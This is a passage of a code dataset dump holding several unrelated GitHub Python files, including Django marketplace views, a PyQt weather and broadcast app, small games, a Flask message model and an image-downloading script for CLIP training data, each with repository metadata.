Column('username', String(),  primary_key=True, nullable=False),\n      Column('role', Integer()),\n      Column('accepted_nextview', Integer()),\n    )\n\n    job_whitelists.drop()\n    jobs.c.imagery.drop()\n    jobs.c.is_private.drop()\n    jobs.c.requires_nextview.drop()\n    users.c.accepted_nextview.drop()\n    pass\n","repo_name":"hotosm/osm-tasking-manager","sub_path":"migration/versions/001_Adding_next_view_related_table_and_columns.py","file_name":"001_Adding_next_view_related_table_and_columns.py","file_ext":"py","file_size_in_byte":1975,"program_lang":"python","lang":"en","doc_type":"code","stars":84,"dataset":"github-code","pt":"77"}
+{"seq_id":"2940360384","text":"from django.shortcuts import render, redirect, get_object_or_404\nfrom django.http import HttpResponseRedirect\nfrom django.contrib.auth.decorators import login_required\nfrom employee.models import This_Job\nfrom freelancer.models import Bid\nfrom message.models import Message\nfrom django.contrib.auth.models import User\nfrom accounts.models import ProfileEmp, ProfileFree\nfrom freelancer.forms import Bid_Form\nfrom employee.forms import Add_Job_Form\n\n# Create your views here.\n\n@login_required\ndef job_details(request, job_id):\n    job = get_object_or_404(This_Job, pk=job_id)\n    user = User.objects.all()\n    name = request.user\n\n    all_bids = Bid.objects.all()\n\n    emp_all = ProfileEmp.objects.all()\n    free_all = ProfileFree.objects.all()\n\n\n    for emp in emp_all:\n        if name == emp.user:\n            emp_user = True\n            break\n        else:\n            emp_user = False\n\n    for free in free_all:\n        if name == free.user:\n            free_user = True\n            break\n        else:\n            free_user = False\n\n\n    #submit bid form\n    if request.method == 'POST':\n        form = Bid_Form(request.POST)\n        if form.is_valid():\n            bid = form.save(commit=False)\n            bid.bid_poster = name\n            bid.job = job\n            bid.save()\n\n            Message.objects.create(post_user=job.user, comment_user=name, job=job)\n\n            #return redirect('details:job_details')\n            return HttpResponseRedirect(request.path_info)\n    else:\n        form = Bid_Form()\n\n\n    count_bid = 0\n\n    for bid in all_bids:\n        if job == bid.job:\n            count_bid = count_bid+1\n\n    for bid in all_bids:\n        if job == bid.job and name == bid.bid_poster:\n            bid_limit = True\n            break\n        else:\n            bid_limit = False\n\n    all_messages = Message.objects.all()\n    count_message_e = 0\n\n    for message in all_messages:\n        if name == message.post_user and message.viewed == False:\n            count_message_e = count_message_e + 1\n\n\n    context = {\n        'form': form,\n        'user': user,\n        'job': job,\n        'name': name,\n        'all_bids': all_bids,\n        'count_bid': count_bid,\n        'bid_limit': bid_limit,\n        'emp_user': emp_user,\n        'free_user': free_user,\n        'all_messages': all_messages,\n        'count_message_e': count_message_e,\n\n    }\n    return render(request, 'details/job_details.html', context)\n\n\n@login_required\ndef edit_job(request, job_id):\n    job = get_object_or_404(This_Job, pk=job_id)\n\n    user = User.objects.all()\n    name = request.user\n\n    all_jobs = This_Job.objects.all()\n\n    if request.method == 'POST':\n\n        title = request.POST['title']\n        short_text = request.POST['short_text']\n        time = request.POST['time']\n        skill = request.POST['skill']\n        budget = request.POST['budget']\n\n        job.title = title\n        job.short_text = short_text\n        job.time = time\n        job.skill = skill\n        job.budget = budget\n        job.user = name\n        job.save()\n        return redirect('details:job_details', job.id)\n        #return HttpResponseRedirect(request.path_info)\n\n    else:\n        form = Add_Job_Form()\n\n\n\n    emp_all = ProfileEmp.objects.all()\n    free_all = ProfileFree.objects.all()\n\n    for emp in emp_all:\n        if name == emp.user:\n            emp_user = True\n            break\n        else:\n            emp_user = False\n\n    for free in free_all:\n        if name == free.user:\n            free_user = True\n            break\n        else:\n            free_user = False\n\n    all_messages = Message.objects.all()\n    count_message_e = 0\n\n    for message in all_messages:\n        if name == message.post_user and message.viewed == False:\n            count_message_e = count_message_e + 1\n\n\n    context = {\n        'user': user,\n        'name': name,\n        'all_jobs': all_jobs,\n        'job': job,\n        'free_user': free_user,\n        'emp_user': emp_user,\n        'all_messages': all_messages,\n        'count_message_e': count_message_e,\n\n    }\n    return render(request, 'details/edit_job.html', context)\n\n\n\n@login_required\ndef edit_bid(request, bid_id):\n    bid = get_object_or_404(Bid, pk=bid_id)\n\n    user = User.objects.all()\n    name = request.user\n\n    job = bid.job\n    #submit bid form\n    if request.method == 'POST':\n\n        bid_text = request.POST['bid_text']\n        bid_time = request.POST['bid_time']\n        bid_budget = request.POST['bid_budget']\n\n        bid.bid_text = bid_text\n        bid.bid_time = bid_time\n        bid.bid_budget = bid_budget\n        bid.bid_poster = name\n        bid.job = job\n        bid.save()\n        return redirect('details:job_details', job.id)\n        #return HttpResponseRedirect(request.path_info)\n\n    else:\n        form = Bid_Form()\n\n\n\n    emp_all = ProfileEmp.objects.all()\n    free_all = ProfileFree.objects.all()\n\n\n    for emp in emp_all:\n        if name == emp.user:\n            emp_user = True\n            break\n        else:\n            emp_user = False\n\n    for free in free_all:\n        if name == free.user:\n            free_user = True\n            break\n        else:\n            free_user = False\n\n    all_messages = Message.objects.all()\n    count_message_e = 0\n\n    for message in all_messages:\n        if name == message.post_user and message.viewed == False:\n            count_message_e = count_message_e + 1\n\n\n    context = {\n        'name': name,\n        'free_user': free_user,\n        'emp_user': emp_user,\n        'bid': bid,\n        'job': job,\n        'all_messages': all_messages,\n        'count_message_e': count_message_e,\n        \n    }\n    return render(request, 'details/edit_bid.html', context)\n","repo_name":"amiovro/freelancing-marketplace","sub_path":"details/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5671,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"77"}
+{"seq_id":"34295877207","text":"from PyQt5 import QtCore, QtGui\r\nfrom system_gui import *\r\nimport datetime\r\nfrom urllib.request import urlopen, Request\r\nimport urllib\r\nimport bs4\r\nfrom data import *\r\nimport threading\r\nimport time\r\nimport asyncio\r\nimport aiohttp\r\n\r\nclass UpdateValuesThread(QtCore.QThread):\r\n    updateInfoSignal = QtCore.pyqtSignal(str)\r\n    updateReseveSignal = QtCore.pyqtSignal(str,str)\r\n\r\n    def __init__(self, uiThread):\r\n        super().__init__()\r\n        self.timer = QtCore.QTimer()\r\n        self.timer.timeout.connect(self.getInfoAsync)\r\n        #self.timer.start(1000*60)\r\n        self.updateInfoSignal.connect(uiThread.updateInfo)\r\n        self.updateReseveSignal.connect(uiThread.updateReserve)\r\n        ui.enter.clicked.connect(lambda: self.reserve('add'))\r\n        ui.sub.clicked.connect(lambda: self.reserve('sub'))\r\n        self.start()\r\n\r\n    def getInfoAsync(self):\r\n        self.loop = asyncio.get_event_loop()\r\n        self.loop.run_until_complete(self.getCurInfo())\r\n\r\n    def reserve(self,order):\r\n        if order=='add':\r\n            reserveTime = ui.brdcstTime.time().toString('hh:mm')\r\n            INFO.brdcsts[reserveTime]=(ui.every.isChecked(), ui.day.currentText(), ui.brdcstEdit.text())\r\n            self.updateReseveSignal.emit('add',reserveTime)\r\n        elif order=='sub':\r\n            reserveTime = ui.table\r\n            del INFO.brdcsts[reserveTime]\r\n            self.updateReserveSignal.emit('sub',reserveTime)\r\n\r\n    async def fetch(self,session, url):\r\n        async with session.get(url) as response:\r\n            return await response.read()\r\n\r\n    async def getCurInfo(self):\r\n        enc_location = urllib.parse.quote('대전+유성구+장동+날씨')\r\n        url = 'https://search.naver.com/search.naver?ie=utf8&query='+ enc_location\r\n        async with aiohttp.ClientSession() as session:\r\n            html = await self.fetch(session, url)\r\n            print(type(html))\r\n            soup = bs4.BeautifulSoup(html,'lxml')\r\n            INFO.fineDust = tuple(soup.select('#main_pack > div.sc.cs_weather._weather > div:nth-child(2) > \\\r\n                div.weather_box > div.weather_area._mainArea > div.today_area._mainTabContent > \\\r\n                div.sub_info > div > dl > dd:nth-child(2)')[0].get_text().split('㎍/㎥'))\r\n            #self.updateInfoSignal.emit('d')\r\n            INFO.ultraFineDust = tuple(soup.select('#main_pack > div.sc.cs_weather._weather > div:nth-child(2)> \\\r\n                div.weather_box > div.weather_area._mainArea > div.today_area._mainTabContent > \\\r\n                div.sub_info > div > dl > dd:nth-child(4)')[0].get_text().split('㎍/㎥'))\r\n            self.updateInfoSignal.emit('d')\r\n            INFO.weather = (soup.find('p', class_='info_temperature').find('span', class_='todaytemp').text,\r\n                soup.find('p', class_='cast_txt').text.split(',')[0])\r\n            self.updateInfoSignal.emit('w')\r\n\r\nclass UpdateUIThread(QtCore.QThread):\r\n\r\n    def __init__(self):\r\n        super().__init__()\r\n        self.dustState = {'좋음':0, '보통':1, '나쁨':2, '매우나쁨':3}\r\n        self.weatherState = {'맑음':0 , '맑음':1, '흐림':2, '구름조금':3, '구름많음':3,'흐림':4,\r\n            '안개':5, '비':6,'눈':7,'천둥번개':8}\r\n        ui.homeButton.clicked.connect(lambda:ui.stackedPage.setCurrentIndex(0))\r\n        ui.homeButton.clicked.connect(lambda:ui.buttons.setCurrentIndex(0))\r\n        ui.brdcstButton.clicked.connect(lambda:ui.stackedPage.setCurrentIndex(1))\r\n        ui.brdcstButton.clicked.connect(lambda:ui.buttons.setCurrentIndex(1))\r\n        ui.add.clicked.connect(lambda:ui.reservePage.setCurrentIndex(0))\r\n        ui.enter.clicked.connect(lambda:ui.reservePage.setCurrentIndex(1))\r\n        self.start()\r\n\r\n    @QtCore.pyqtSlot(str)\r\n    def updateInfo(self,order):\r\n        if order == 'd':\r\n            ui.stackedDust.setCurrentIndex(self.dustState[INFO.ultraFineDust[1]])\r\n            ui.dustVal.setText(INFO.ultraFineDust[0])\r\n            ui.dust.setText(INFO.ultraFineDust[1])\r\n        if order == 'w':\r\n           ui.stackedDust.setCurrentIndex(self.weatherState[INFO.weather[1]])\r\n           ui.weatherVal.setText(INFO.weather[0])\r\n           ui.weather.setText(INFO.weather[1])\r\n\r\n    @QtCore.pyqtSlot(str,str)\r\n    def updateReserve(self,order,reserveTime):\r\n        if order == 'add':\r\n            checkBox = QtWidgets.QTableWidgetItem()\r\n            checkBox.setFlags(QtCore.Qt.ItemIsUserCheckable | QtCore.Qt.ItemIsEnabled)\r\n            checkBox.setCheckState(QtCore.Qt.Checked)       \r\n            rowPosition = ui.table.rowCount()\r\n            ui.table.insertRow(rowPosition)\r\n            ui.table.setItem(rowPosition , 0, QtWidgets.QTableWidgetItem(checkBox))\r\n            ui.table.setItem(rowPosition , 1, QtWidgets.QTableWidgetItem(INFO.brdcsts[reserveTime][1]+','+reserveTime))\r\n            ui.table.setItem(rowPosition , 2, QtWidgets.QTableWidgetItem(INFO.brdcsts[reserveTime][2]))\r\n        elif order == 'sub':\r\n            for item in ui.table.selectedItems():\r\n                print(\"selectedItems\", item.text())\r\n\r\n\r\ndef updateTime():\r\n    while True:\r\n        curTime = QtCore.QTime.currentTime()\r\n        ui.time.setText(curTime.toString('hh  mm  ss'))\r\n        curDate = QtCore.QDate.currentDate()\r\n        ui.date.setText(curDate.toString('yyyy년 MM월 dd일'))\r\n        time.sleep(1)\r\n    \r\n\r\nif __name__ == \"__main__\":\r\n    import sys\r\n    app = QtWidgets.QApplication(sys.argv)                                                                        \r\n    MainWindow = QtWidgets.QMainWindow()\r\n    ui = Ui_MainWindow()\r\n    ui.setupUi(MainWindow)\r\n    t = threading.Thread(target=updateTime)\r\n    t.daemon = True\r\n    t.start()\r\n    updateUIThread = UpdateUIThread()\r\n    UpdateValuesThread = UpdateValuesThread(updateUIThread)\r\n    MainWindow.show()\r\n    sys.exit(app.exec_())\r\n\r\n    @QtCore.pyqtSlot(str)\r\n    def updateInfo(self,order):\r\n        if order == 'd':\r\n            ui.stackedDust.setCurrentIndex(self.dustState[INFO.ultraFineDust[1]])\r\n            ui.dustVal.setText(INFO.ultraFineDust[0])\r\n            ui.dust.setText(INFO.ultraFineDust[1])\r\n        #if order == 'w':\r\n        #    ui.stackedDust.setCurrentIndex(INFO.weather[1])\r\n        #    ui.weatherVal.setText(INFO.weather[0])\r\n        #    ui.weather.setText(INFO.waether[1])\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    import sys\r\n    app = QtWidgets.QApplication(sys.argv)                                                                        \r\n    MainWindow = QtWidgets.QMainWindow()\r\n    ui = Ui_MainWindow()\r\n    ui.setupUi(MainWindow)\r\n    updateTimeThread = UpdateTimeThread()\r\n    updateUIThread = UpdateUIThread()\r\n    UpdateValuesThread = UpdateValuesThread(updateUIThread)\r\n    MainWindow.show()\r\n    sys.exit(app.exec_())\r\n","repo_name":"sleepyeePanda/DormitorySystem","sub_path":"system.py","file_name":"system.py","file_ext":"py","file_size_in_byte":6751,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"27487406579","text":"import tkinter as tk\n\nfrom .content import Content\nfrom .panel import Panel\n\n\nclass Base(tk.Frame):\n    def __init__(self, master, *args, **kwargs):\n        super().__init__(master, *args, **kwargs)\n        self.master = master\n\n        self.content = Content(self)\n        self.content.pack(expand=1, fill=tk.BOTH)\n\n        self.panel = Panel(self)\n        self.panel.config(height=250)\n        self.panel.pack(fill=tk.BOTH)\n","repo_name":"billyeatcookies/muffin","sub_path":"muffin/layout/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":426,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"77"}
+{"seq_id":"39292124570","text":"from Person import Person\r\n\r\n\r\ndef main():\r\n    personalcollection = []\r\n    #try catch for user input\r\n    try:\r\n        personalcollection = collect_personal_information()\r\n        for currentperson in personalcollection:\r\n            print(\"first name:\", currentperson.get_name())\r\n            print(\"Address:\", currentperson.get_address())\r\n            print(\"Age:\", currentperson.get_age())\r\n            print(\"Phonenumber:\", currentperson.get_phonenumber())\r\n    except ValueError as a:\r\n        print(a)\r\n#function to collect personal informationd\r\ndef collect_personal_information():\r\n    personalcollection = []\r\n    while len(personalcollection) < 3:\r\n        name = input('What is your name? ')\r\n        if not name:\r\n            raise ValueError('Please enter a name. ')\r\n        address = input('What is your address? ')\r\n        if not address:\r\n            raise ValueError('Please enter an address. ')\r\n        age = input('How old are you? ')\r\n        if not age:\r\n            raise ValueError('Please enter an age. ')\r\n        phonenumber = input('What is your phonenumber? ')\r\n        if not phonenumber:\r\n            raise ValueError('Please enter a phonenumber. ')\r\n        personalcollection.append(Person(name,age, address, phonenumber))\r\n    return personalcollection\r\n        \r\nmain()\r\n","repo_name":"brandonanzalone/PRG105","sub_path":"PythonApplication4.py","file_name":"PythonApplication4.py","file_ext":"py","file_size_in_byte":1311,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"40658133398","text":"from django.conf import settings\nfrom django.conf.urls import patterns, include, url\nfrom mobile import urls\n\n# Ajax Imports\nfrom ajax import add_songs, clear_songs, next, play, play_song, prev, \\\n    remove_songs, repeat, random, save_playlist, status, stop, \\\n    update_library, volume\n\najaxPatterns = patterns('',\n    url(r'status', status, name=\"ajaxStatus\"),\n    # Playback Controls\n    url(r'play', play, name=\"ajaxPlay\"),\n    url(r'prev', prev, name=\"ajaxPrev\"),\n    url(r'next', next, name=\"ajaxNext\"),\n    url(r'stop', stop, name=\"ajaxStop\"),\n    url(r'song/(?P<song_id>\\d+)/', play_song, name=\"ajaxSong\"),\n\n\n\n    url(r'repeat', repeat, name=\"ajaxRepeat\"),\n    url(r'random', random, name=\"ajaxRandom\"),\n    url(r'volume/(?P<volume>\\d{1,3})/', volume, name=\"ajaxVolume\"),\n\n    # Playlist Controls\n    url(r'add', add_songs, name=\"playlistAdd\"),\n    url(r'remove', remove_songs, name=\"playlistRemove\"),\n    url(r'clear', clear_songs, name=\"playlistClear\"),\n    url(r'save', save_playlist, name=\"playlistSave\"),\n\n    # Misc Commands\n    url(r'update', update_library, name=\"ajaxUpdate\"),\n)\n\nurlpatterns = patterns('',\n    url(r'', include(urls.urlPatterns)),\n    url(r'ajax/', include(ajaxPatterns)),\n\n\n    (r'^m/(?P<path>.*)$', 'django.views.static.serve',\n        {'document_root': settings.MEDIA_ROOT}),\n)\n","repo_name":"mklauber/django-mpd-client","sub_path":"mpd/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1317,"program_lang":"python","lang":"en","doc_type":"code","stars":29,"dataset":"github-code","pt":"77"}
+{"seq_id":"28684343530","text":"import random\n\nclass LotoCard:\n    def __init__(self, player_type):\n        def check_sort_item(item):\n            if isinstance(item, int):\n                return item\n            else:\n                return random.randint(1, self._MAX_NUMBER)\n\n\n        self.player_type = player_type\n        self._card = [\n            [],\n            [],\n            []\n        ]\n        self._MAX_NUMBER = 90\n        self._MAX_NUMBER_IN_CARD = 15\n        self._numbers_stroked = 0\n        NEED_SPACES = 4\n        NEED_NUMBERS = 5\n        self._numbers = random.sample(range(1, self._MAX_NUMBER + 1), self._MAX_NUMBER_IN_CARD)\n\n        for line in self._card:\n            for _ in range(NEED_SPACES):\n                line.append(' ')\n            for _ in range(NEED_NUMBERS):\n                line.append(self._numbers.pop())\n\n        for index, line in enumerate(self._card):\n            self._card[index] = sorted(line, key=check_sort_item)\n\n    def has_number(self, number):\n        for line in self._card:\n            if number in line:\n                return True\n        return False\n\n    def try_stoke_number(self, number):\n        for index, line in enumerate(self._card):\n            for num_index, number_in_card in enumerate(line):\n                if number == number_in_card:\n                    self._card[index][num_index] = '-'\n                    self._numbers_stroked += 1\n                    if self._numbers_stroked >= self._MAX_NUMBER_IN_CARD:\n                        raise Exception(f'{self.player_type} победитель!')\n                    return True\n        return False\n\n    def __str__(self):\n        MAX_FIELD_LEN = 3\n        header = f'\\n{self.player_type}:\\n'\n        body = '\\n'\n        for line in self._card:\n            for field in line:\n                body += str(field).ljust(MAX_FIELD_LEN)\n            body += '\\n'\n        return header + body\n\n\nclass LotoGame:\n    def __init__(self, _human_player, _computer_player):\n        self._human_player = _human_player\n        self._computer_player = _computer_player\n        self.barrel_sum = 0\n\n    def start(self):\n        _nums = [num for num in range(1, 91)]\n        while True:\n            barrel = random.choice(_nums)\n            _nums.remove(barrel)\n            self.barrel_sum += 1\n            print(f'Новый бочонок: {barrel} (Осталось {90 - self.barrel_sum})')\n            print(self._human_player)\n            print(self._computer_player)\n            a = input(f'Зачеркнуть цифру? (y/n)')\n            if a == 'y':\n                if LotoCard.has_number(self._human_player, barrel) == True:\n                    LotoCard.try_stoke_number(self._human_player, barrel)\n                else:\n                    print('Вы проиграли')\n                    break\n            else:\n                if LotoCard.has_number(self._human_player, barrel) == True:\n                    LotoCard.try_stoke_number(self._human_player, barrel)\n                else:\n                    continue\n            if LotoCard.has_number(self._computer_player, barrel) == True:\n                LotoCard.try_stoke_number(self._computer_player, barrel)\n            else:\n                continue\n\n\nhuman_player = LotoCard('Игрок')\ncomputer_player = LotoCard('Компьютер')\n\nLotoGame(human_player, computer_player).start()\n","repo_name":"mmsolovev/python-basics","sub_path":"Solovev_Mikhail_dz_11.py","file_name":"Solovev_Mikhail_dz_11.py","file_ext":"py","file_size_in_byte":3334,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"29397677849","text":"def sopaletras(nombre_archivo,palabras):\n    archivo=open(nombre_archivo,\"r\")\n    palabras2 = (list(\"\".join(palabras)))\n    palabras3 = \"\".join(palabras)\n    palabras3 = palabras3.strip()\n    palabras3 = palabras3.lower()\n    lista = []\n    direccion = []\n    direccion2 = []\n    fila_columna = []\n    contador = 0\n    for linea in archivo:\n        datos = linea.strip().split(\" \")\n        lista.append(datos)\n    for i in range(len(lista)):\n        for j in range(len(lista[0])):          \n            if(palabras2[i] == lista[i][j].lower()):\n                contador = contador + 1\n                direccion.append(lista[i][j].lower())\n                if(contador == 1):\n                    fila_columna.append(i)\n                    fila_columna.append(j)\n                    direccion2.append(i)\n                    direccion2.append(i)\n                    contador = contador + 1\n                elif(direccion[0] == direccion[1]):\n                    direccion = direccion[i:-1]\n    i = int(fila_columna[0])\n    j = int(fila_columna[1])\n    print(\"CONOCERE TU VERDAD CONCHETUAMRE\",palabras3)\n    if(direccion == palabras2 and fila_columna == direccion2):\n        archivo.close()\n        return [(palabras3,[i,j],\"diagonal\")]\n    elif(direccion != palabras2 and fila_columna == direccion2):\n        archivo.close()\n        return [(palabras3,[i,j],\"derecha\")]\n    elif(direccion == palabras2 and fila_columna != direccion2):\n        archivo.close()\n        return [(palabras3,[i,j],\"abajo\")]\nif __name__==\"__main__\":\n    print(sopaletras(\"sopa.txt\", [\"cra\"]))\n    print(sopaletras(\"sopa.txt\", [\"aro\"]))\n    print(sopaletras(\"sopa.txt\", [\"casa\"]))","repo_name":"pabloschwarzenberg/grader","sub_path":"tema10_ej3/tema10_ej3_7b030bd3df0d0823a6ec8069cd0947bc.py","file_name":"tema10_ej3_7b030bd3df0d0823a6ec8069cd0947bc.py","file_ext":"py","file_size_in_byte":1651,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"19588095084","text":"# -*- coding:ascii -*-\nfrom mako import runtime, filters, cache\nUNDEFINED = runtime.UNDEFINED\n__M_dict_builtin = dict\n__M_locals_builtin = locals\n_magic_number = 10\n_modified_time = 1428686861.979776\n_enable_loop = True\n_template_filename = 'C:\\\\Users\\\\Daniel\\\\Documents\\\\PycharmProjects\\\\ColonialHeritageFoundation\\\\homepage\\\\templates/login.html'\n_template_uri = 'login.html'\n_source_encoding = 'ascii'\nimport os, os.path, re\n_exports = ['content']\n\n\ndef _mako_get_namespace(context, name):\n    try:\n        return context.namespaces[(__name__, name)]\n    except KeyError:\n        _mako_generate_namespaces(context)\n        return context.namespaces[(__name__, name)]\ndef _mako_generate_namespaces(context):\n    pass\ndef _mako_inherit(template, context):\n    _mako_generate_namespaces(context)\n    return runtime._inherit_from(context, 'base_ajax.htm', _template_uri)\ndef render_body(context,**pageargs):\n    __M_caller = context.caller_stack._push_frame()\n    try:\n        __M_locals = __M_dict_builtin(pageargs=pageargs)\n        form = context.get('form', UNDEFINED)\n        def content():\n            return render_content(context._locals(__M_locals))\n        __M_writer = context.writer()\n        __M_writer('\\r\\n\\r\\n')\n        if 'parent' not in context._data or not hasattr(context._data['parent'], 'content'):\n            context['self'].content(**pageargs)\n        \n\n        return ''\n    finally:\n        context.caller_stack._pop_frame()\n\n\ndef render_content(context,**pageargs):\n    __M_caller = context.caller_stack._push_frame()\n    try:\n        form = context.get('form', UNDEFINED)\n        def content():\n            return render_content(context)\n        __M_writer = context.writer()\n        __M_writer('\\r\\n\\t<form id=\"login-form\" method=\"POST\" action=\"/homepage/index.loginform/\">\\r\\n\\t\\t<table>\\r\\n\\t\\t\\t')\n        __M_writer(str( form ))\n        __M_writer('\\r\\n\\t\\t</table>\\r\\n\\t\\t<a href=\"/password_reset/\" class=\"register reset\">Forgot your password?</a><br />\\r\\n\\t\\t<button type=\"submit\" class=\"btn btn-primary\">Login</button>\\r\\n\\t\\t<a href=\"/homepage/account.create/\" class=\"register\">Not registered yet? <span class=\"join\">Join here!</span></a>\\r\\n\\t</form>\\r\\n')\n        return ''\n    finally:\n        context.caller_stack._pop_frame()\n\n\n\"\"\"\n__M_BEGIN_METADATA\n{\"line_map\": {\"35\": 1, \"52\": 3, \"53\": 6, \"54\": 6, \"27\": 0, \"60\": 54, \"45\": 3}, \"source_encoding\": \"ascii\", \"filename\": \"C:\\\\Users\\\\Daniel\\\\Documents\\\\PycharmProjects\\\\ColonialHeritageFoundation\\\\homepage\\\\templates/login.html\", \"uri\": \"login.html\"}\n__M_END_METADATA\n\"\"\"\n","repo_name":"dbwyatt/ColonialHeritageFoundation","sub_path":"homepage/cached_templates/templates/login.html.py","file_name":"login.html.py","file_ext":"py","file_size_in_byte":2563,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"7762408605","text":"from .db import db\n\n\nclass Message(db.Model):\n    __tablename__ = 'messages'\n\n    id = db.Column(db.Integer, primary_key=True)\n    message = db.Column(db.String(2000), nullable=False)\n    user_id = db.Column(db.Integer, db.ForeignKey('users.id'), nullable=False)\n    receiver_id = db.Column(db.Integer, db.ForeignKey('users.id'))\n    channel_id = db.Column(db.Integer, db.ForeignKey('channels.id'))\n    imageUrl = db.Column(db.String(500), nullable=True)\n    isRead = db.Column(db.Boolean, nullable=False, default=False)\n    createdAt = db.Column(db.DateTime, nullable=False)\n    updatedAt = db.Column(db.DateTime, nullable=False)\n\n    channel = db.relationship(\"Channel\", back_populates=\"messages\") #roles can have many users, userse can have many roles\n    user = db.relationship(\"User\", back_populates=\"messages\", foreign_keys='Message.user_id')\n    receiver = db.relationship(\"User\", back_populates=\"private_messages\", foreign_keys='Message.receiver_id')\n\n    def to_dict(self):\n        return {\n            'id': self.id,\n            'message': self.message,\n            'user_id': self.user_id,\n            'receiver_id': self.receiver_id,\n            'channel_id': self.channel_id,\n            'imageUrl': self.imageUrl,\n            'isRead': self.isRead,\n            'createdAt': self.createdAt.strftime(\"%Y/%m/%d %H:%M:%S\"),\n            'updatedAt': self.updatedAt.strftime(\"%Y/%m/%d %H:%M:%S\")\n        }\n","repo_name":"jurrel/Anarchy","sub_path":"app/models/message.py","file_name":"message.py","file_ext":"py","file_size_in_byte":1414,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"77"}
+{"seq_id":"43968896742","text":"#imports\r\nimport arcade\r\n\r\n#consts\r\nbreidd = 1920\r\nhaed = 1080\r\nnafn = \"booga ooga\"\r\n#classes\r\nclass game(arcade.Window):\r\n    def __init__(self, breidd, haed, nafn_leiks):\r\n        super().__init__(breidd,haed,nafn_leiks,)\r\n        self.bakgrunnur = arcade.load_texture(\":resources:images/backgrounds/abstract_1.jpg\")\r\n        self.geimskip = arcade.load_texture(\":resources:images/space_shooter/playerShip1_orange.png\")    \r\n    def on_draw(self):\r\n        arcade.start_render()\r\n        arcade.draw_lrwh_rectangle_textured(0, 0, breidd, haed, self.bakgrunnur)\r\n        arcade.draw_scaled_texture_rectangle(breidd/2,haed/8, self.geimskip)\r\n        \r\nbozo = game(breidd,haed,nafn)\r\narcade.run()\r\n","repo_name":"SBB-50/tsk","sub_path":"leikur2.py","file_name":"leikur2.py","file_ext":"py","file_size_in_byte":697,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"27380780404","text":"import os\nimport math\nimport zlib\nimport uuid\nimport shelve\nimport tarfile\nimport argparse\nimport requests\nimport pandas as pd\n\nfrom io import BytesIO\nfrom tqdm import tqdm\nfrom PIL import Image\nfrom multiprocessing import Pool\nfrom torchvision import transforms\n\ntransform = transforms.Compose([transforms.Resize(224, interpolation = transforms.InterpolationMode.BICUBIC), transforms.CenterCrop(224)])\n\ndef download(row):\n    rfile = f\"images/{zlib.crc32(row['image'].encode('utf-8')) & 0xffffffff}.png\"\n    file = f\"{row['dir']}/{rfile}\"\n    \n    if(os.path.isfile(file)):\n        row[\"status\"] = 200\n        row[\"file\"] = rfile\n        return row\n\n    try:\n        response = requests.get(row[\"image\"], stream = False, timeout = 10, allow_redirects = True)\n        row[\"status\"] = response.status_code\n    except Exception as e:\n        row[\"status\"] = 404\n        return row\n        \n    if(response.ok):\n        try:\n            response.raw.decode_content = True \n            image = Image.open(BytesIO(response.content)).convert(\"RGB\")\n            image = transform(image)\n            image.save(file)\n        except:\n            row[\"status\"] = 404\n            return row\n        \n        row[\"file\"] = rfile\n        \n    return row    \n\ndef apply(args):\n    index, df, function = args\n    df = df.apply(function, axis = 1)\n    return (index, df)\n\ndef multiprocess(df, function, dir, hash): \n    with shelve.open(f\"{dir}/.{hash}\") as file:\n        bar = tqdm(total = math.ceil(len(df) / 50))\n        \n        finished = set(map(int, file.keys()))\n        for key in file.keys():\n            bar.update()\n\n        data = [(index, df[i:i + 50], function) for index, i in enumerate(range(0, len(df), 50)) if index not in finished]\n       \n        if(len(data) > 0):\n            with Pool() as pool:\n                for result in pool.imap_unordered(apply, data, 2):\n                    file[str(result[0])] = result\n                    bar.update()\n        \n        bar.close()\n        \n        keys = sorted([int(k) for k in file.keys()])\n        df = pd.concat([file[str(key)][1] for key in keys])\n        df = df[[\"file\", \"caption\"]].rename(columns = {\"file\": \"image\"})\n        \n        return df\n\ndef run(options):\n    os.makedirs(options.dir, exist_ok = True)\n    os.makedirs(os.path.join(options.dir, \"images\"), exist_ok = True)\n    \n    df = pd.read_csv(options.file, sep = \"\\t\", names = [ \"caption\", \"image\"])\n    df[\"dir\"] = options.dir\n    df = df[options.start:options.end]\n    \n    df = multiprocess(df, function = download, dir = options.dir, hash = options.hash)    \n    df.to_csv(f\"{options.dir}/train.csv\", index = False)\n\nif(__name__ == \"__main__\"):\n    parser = argparse.ArgumentParser()\n\n    parser.add_argument(\"-f,--file\", dest = \"file\", type = str, default = None, help = \"File\")\n    parser.add_argument(\"-d,--dir\", dest = \"dir\", type = str, default = None, help = \"Directory\")\n    parser.add_argument(\"-s,--start\", dest = \"start\", type = int, default = 0, help = \"Start index\")\n    parser.add_argument(\"-e,--end\", dest = \"end\", type = int, default = 1000000000000, help = \"End index\")\n\n    options = parser.parse_args()\n    options.hash = str(uuid.uuid5(uuid.NAMESPACE_DNS, f\"{options.file}-{options.dir}-{options.start}-{options.end}\"))\n    \n    run(options)\n","repo_name":"goel-shashank/CyCLIP","sub_path":"utils/download.py","file_name":"download.py","file_ext":"py","file_size_in_byte":3288,"program_lang":"python","lang":"en","doc_type":"code","stars":90,"dataset":"github-code","pt":"77"}
